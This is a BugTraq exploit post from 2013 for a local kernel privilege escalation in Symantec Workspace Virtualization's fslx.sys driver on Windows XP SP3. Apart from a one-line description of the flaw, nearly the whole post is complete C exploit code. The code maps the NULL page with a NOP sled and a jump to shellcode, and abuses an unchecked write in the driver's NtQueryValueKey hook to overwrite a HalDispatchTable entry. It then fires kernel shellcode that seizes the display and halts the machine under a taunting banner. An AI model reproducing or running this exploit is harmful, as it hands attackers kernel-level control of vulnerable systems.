BugTraq
Symantec Workspace Virtualization 6.4.1895.0 Local Kernel Mode Privilege Escalation Exploit Jul 18 2013 05:14AM
th_decoder 126 com
# Symantec Workspace Virtualization 6.4.1895.0 Local Kernel Mode Privilege Escalation Exploit
# Date: 2013-7-17
# Author : MJ0011
# Version: Symantec Workspace Virtualization 6.4.1895.0
# Tested on: Windows XP SP3


DETAILS:

In fslx.sys 's hook function of "NtQueryValueKey" , it directly write to the buffer of "ResultLength" without any check


EXPLOIT CODE:

#include "stdafx.h"
#include "windows.h"
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
typedef const UNICODE_STRING *PCUNICODE_STRING;
typedef LONG
(WINAPI *pNtQueryValueKey)(
HANDLE KeyHandle,
PUNICODE_STRING ValueName,
ULONG KeyValueInformationClass,
PVOID KeyValueInformation,
ULONG Length,
PULONG ResultLength
);
typedef
LONG (WINAPI *pNtQueryIntervalProfile )(
ULONG ProfileSource,
PULONG Interval
);

typedef LONG
(WINAPI *pZwQuerySystemInformation) (
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
#include "malloc.h"
PVOID GetInfoTable(ULONG ATableType)
{
ULONG mSize = 0x4000;
PVOID mPtr = NULL;
LONG status;
HMODULE hlib = GetModuleHandle("ntdll.dll");
pZwQuerySystemInformation ZwQuerySystemInformation = (pZwQuerySystemInformation)GetProcAddress(hlib , "ZwQuerySystemInformation");
do
{
mPtr = malloc(mSize);
if (mPtr)
{

status = ZwQuerySystemInformation(ATableType , mPtr , mSize , 0 );
}
else
{
return NULL;
}
if (status == 0xc0000004)
{
free(mPtr);
mSize = mSize * 2;
}
} while (status == 0xc0000004);
if (status == 0)
{
return mPtr;
}
free(mPtr);
return NULL;
}
enum { SystemModuleInformation = 11,
SystemHandleInformation = 16 };
typedef struct {
ULONG Unknown1;
ULONG Unknown2;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;




typedef VOID (WINAPI *PINBV_ACQUIRE_DISPLAY_OWNERSHIP)(VOID);
typedef BOOLEAN (WINAPI *PINBV_RESET_DISPLAY)(VOID);
typedef VOID (WINAPI *PINBV_SOLID_COLOR_FILL)(
ULONG x1,
ULONG y1,
ULONG x2,
ULONG y2,
ULONG color
);
typedef ULONG (WINAPI *PINBV_SET_TEXT_COLOR)(
ULONG Color
);
typedef
VOID
(*INBV_DISPLAY_STRING_FILTER)(
PUCHAR *Str
);


typedef VOID (WINAPI *PINBV_INSTALL_DISPLAY_STRING_FILTER)(
INBV_DISPLAY_STRING_FILTER DisplayStringFilter
);
typedef BOOLEAN (WINAPI *PINBV_ENABLE_DISPLAY_STRING)(
BOOLEAN bEnable
);
typedef VOID (WINAPI *PINVB_SET_SCROLL_REGION)(
ULONG x1,
ULONG y1,
ULONG x2,
ULONG y2
);
typedef VOID (WINAPI *PINBV_DISPLAY_STRING)(
PUCHAR Str
);
PINBV_ACQUIRE_DISPLAY_OWNERSHIP InbvAcquireDisplayOwnership = 0 ;
PINBV_RESET_DISPLAY InbvResetDisplay = 0 ;
PINBV_SOLID_COLOR_FILL InbvSolidColorFill = 0 ;
PINBV_SET_TEXT_COLOR InbvSetTextColor = 0 ;
PINBV_INSTALL_DISPLAY_STRING_FILTER InbvInstallDisplayStringFilter = 0 ;
PINBV_ENABLE_DISPLAY_STRING InbvEnableDisplayString = 0 ;
PINVB_SET_SCROLL_REGION InbvSetScrollRegion = 0 ;
PINBV_DISPLAY_STRING InbvDisplayString= 0 ;


#define VGA_COLOR_BLACK 0
#define VGA_COLOR_RED 1
#define VGA_COLOR_GREEN 2
#define VGA_COLOR_GR 3
#define VGA_COLOR_BULE 4
#define VGA_COLOR_DARK_MEGAENTA 5
#define VGA_COLOR_TURQUOISE 6
#define VGA_COLOR_GRAY 7
#define VGA_COLOR_BRIGHT_GRAY 8
#define VGA_COLOR_BRIGHT_RED 9
#define VGA_COLOR_BRIGHT_GREEN 10
#define VGA_COLOR_BRIGHT_YELLOW 11
#define VGA_COLOR_BRIGHT_BULE 12
#define VGA_COLOR_BRIGHT_PURPLE 13
#define VGA_COLOR_BRIGHT_TURQUOISE 14
#define VGA_COLOR_WHITE 15
UCHAR DisplayString[] =
" "
" "
" "
" ---- ===== EXPLOIT SUCCESSFULLY ==== ---- "
" "
" "
" Symantec Workspace Virtualization 6.4.1895.0 Local Privilege Escalation Exploit"
" "
" VULNERABLE PRODUCT "
" "
" Symantec Workspace Virtualization "
" "
" "
" VULERABLE FILE "
" fslx.sys <= 6.4.1895.0 "
" "
" AUTHOR "
" "
" MJ0011 "
" th_decoder (at) 126 (dot) com [email concealed] "
" "
" 2013-7-17 "
" Symantec's technology is hundreds of years behind that of us "
" "
" ";


VOID InbvShellCode()
{
//DISABLE INTERRUPT


__asm
{
cli
}


//RESET TO VGA MODE


InbvAcquireDisplayOwnership();


InbvResetDisplay();


//FILL FULL SCREEN


InbvSolidColorFill(0 , 0 , 639 , 479 ,VGA_COLOR_BLACK);


//SET TEXT COLOR
InbvSetTextColor(VGA_COLOR_BRIGHT_GREEN);


InbvInstallDisplayStringFilter(NULL);


InbvEnableDisplayString(TRUE);


InbvSetScrollRegion( 0 , 0 , 639 ,477);


InbvDisplayString(DisplayString);
while(TRUE)
{


};




}


BOOL InbvInit(PVOID ntosbase , PSTR ntosname)
{
HMODULE hlib = LoadLibrary(ntosname);


if (hlib == NULL)
{
return FALSE ;
}


InbvAcquireDisplayOwnership = (PINBV_ACQUIRE_DISPLAY_OWNERSHIP)((ULONG)GetProcAddress(hlib , "InbvAcquireDisplayOwnership") - (ULONG)hlib + (ULONG)ntosbase);
InbvResetDisplay = (PINBV_RESET_DISPLAY)((ULONG)GetProcAddress(hlib , "InbvResetDisplay") - (ULONG)hlib + (ULONG)ntosbase);
InbvSolidColorFill = (PINBV_SOLID_COLOR_FILL)((ULONG)GetProcAddress(hlib , "InbvSolidColorFill") - (ULONG)hlib + (ULONG)ntosbase);
InbvSetTextColor = (PINBV_SET_TEXT_COLOR)((ULONG)GetProcAddress(hlib , "InbvSetTextColor") - (ULONG)hlib + (ULONG)ntosbase);
InbvInstallDisplayStringFilter = (PINBV_INSTALL_DISPLAY_STRING_FILTER)((ULONG)GetProcAddress(hlib , "InbvInstallDisplayStringFilter") - (ULONG)hlib + (ULONG)ntosbase);
InbvEnableDisplayString = (PINBV_ENABLE_DISPLAY_STRING)((ULONG)GetProcAddress(hlib , "InbvEnableDisplayString") - (ULONG)hlib + (ULONG)ntosbase);
InbvSetScrollRegion = (PINVB_SET_SCROLL_REGION)((ULONG)GetProcAddress(hlib , "InbvSetScrollRegion") - (ULONG)hlib + (ULONG)ntosbase);
InbvDisplayString = (PINBV_DISPLAY_STRING)((ULONG)GetProcAddress(hlib , "InbvDisplayString") - (ULONG)hlib + (ULONG)ntosbase);


if (InbvAcquireDisplayOwnership &&
InbvResetDisplay &&
InbvSolidColorFill &&
InbvSetTextColor &&
InbvInstallDisplayStringFilter &&
InbvEnableDisplayString &&
InbvSetScrollRegion &&
InbvDisplayString)
{
return TRUE ;
}
return FALSE ;

}

typedef LONG (WINAPI *PNT_ALLOCATE_VIRTUAL_MEMORY)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
#define ProfileTotalIssues 2

int main(int argc, char* argv[])
{
printf("Symantec Workspace Virtualization 6.4.1895.0 Local Privilege Escalation Exploit\n"
"fslx.sys <= 6.4.1895.0\n"
"\nBy MJ0011\n2013-7-17\nth_decoder (at) 126 (dot) com [email concealed]\nPRESS ENTER\n");


getchar();
PSYSTEM_MODULE_INFORMATION pinfo = (PSYSTEM_MODULE_INFORMATION)GetInfoTable(SystemModuleInformation);
if (pinfo==0)
{
printf("cannot get system info\n");
return 0 ;
}
if (!InbvInit(pinfo->Module[0].Base , strrchr(pinfo->Module[0].ImageName , '\\') + 1))
{
printf("cannot init inbv system!\n");
return 0 ;
}
pNtQueryValueKey NtQueryValueKey = (pNtQueryValueKey)GetProcAddress(GetModuleHandle("ntdll.dll") ,"NtQueryValueKey");

//alloc shellcode jump


PNT_ALLOCATE_VIRTUAL_MEMORY NTAllocateVM = (PNT_ALLOCATE_VIRTUAL_MEMORY)GetProcAddress(GetModuleHandle("ntdll.dll")
, "NtAllocateVirtualMemory");


PVOID BaseAddress = (PVOID)0x1 ;
ULONG dwsize = 0x1000 ;
LONG status ;
status = NTAllocateVM
(
GetCurrentProcess() ,
&BaseAddress ,
0 ,
&dwsize ,
MEM_COMMIT | MEM_RESERVE ,
PAGE_READWRITE
);

if (status !=0)
{
printf("err alloc vm %08x\n", status);
getchar();
return 0 ;
}
//result length always <=0x800
//0~0x800: NOP
//0x800: shell code


memset((PVOID)0x0 , 0x90 , 0x1000);
*(BYTE*)((ULONG)0x800) = 0xe9 ;
*(ULONG*)((ULONG)0x801) = (ULONG)InbvShellCode - (ULONG)0x800 - 0x5 ;

//get haldispatchtable


HMODULE hntos = LoadLibrary(strrchr(pinfo->Module[0].ImageName , '\\')+1);
if (hntos == 0 )
{
printf("cannot load ntos\n");
getchar();
return 0 ;
}
PVOID pHalDispatchTable = GetProcAddress(hntos , "HalDispatchTable");
pHalDispatchTable = (PVOID)((ULONG)pHalDispatchTable - (ULONG)hntos);
pHalDispatchTable = (PVOID)((ULONG)pHalDispatchTable + (ULONG)pinfo->Module[0].Base);
PVOID xHalQuerySystemInformationAddr = (PVOID)((ULONG)pHalDispatchTable+ sizeof(ULONG));
FreeLibrary(hntos);

HKEY hkey ;
ULONG err = RegOpenKeyEx(HKEY_CURRENT_USER , "Software" , 0 , KEY_READ , &hkey);


if (err!=ERROR_SUCCESS)
{
printf("open key read failed %u\n" ,err);
getchar();
return 0 ;
}
HKEY hkey2 ;


err = RegOpenKeyEx(HKEY_CURRENT_USER , "Software" , 0 , KEY_WRITE , &hkey2);


if (err != ERROR_SUCCESS)
{
printf("open key write failed %u\n", err);
getchar();
return 0 ;
}
DWORD dd ;


err = RegSetValueEx(hkey2 , "123" , 0 , REG_DWORD , (CONST BYTE*)&dd , sizeof(DWORD));


if (err != ERROR_SUCCESS)
{
printf("set value %u\n" , err);
getchar();


return 0 ;
} BYTE buffer[100];
PVOID pbuf = buffer ;

UNICODE_STRING name ;
name.Buffer = NULL ;
name.Length = 0 ;
name.MaximumLength=0;
status = NtQueryValueKey(hkey , &name , 2 , pbuf , 100 , (PULONG)xHalQuerySystemInformationAddr );

//fire our shell code


pNtQueryIntervalProfile NtQueryIntervalProfile = (pNtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll" ) , "NtQueryIntervalProfile");

NtQueryIntervalProfile(ProfileTotalIssues , 0 );

return 0;
}

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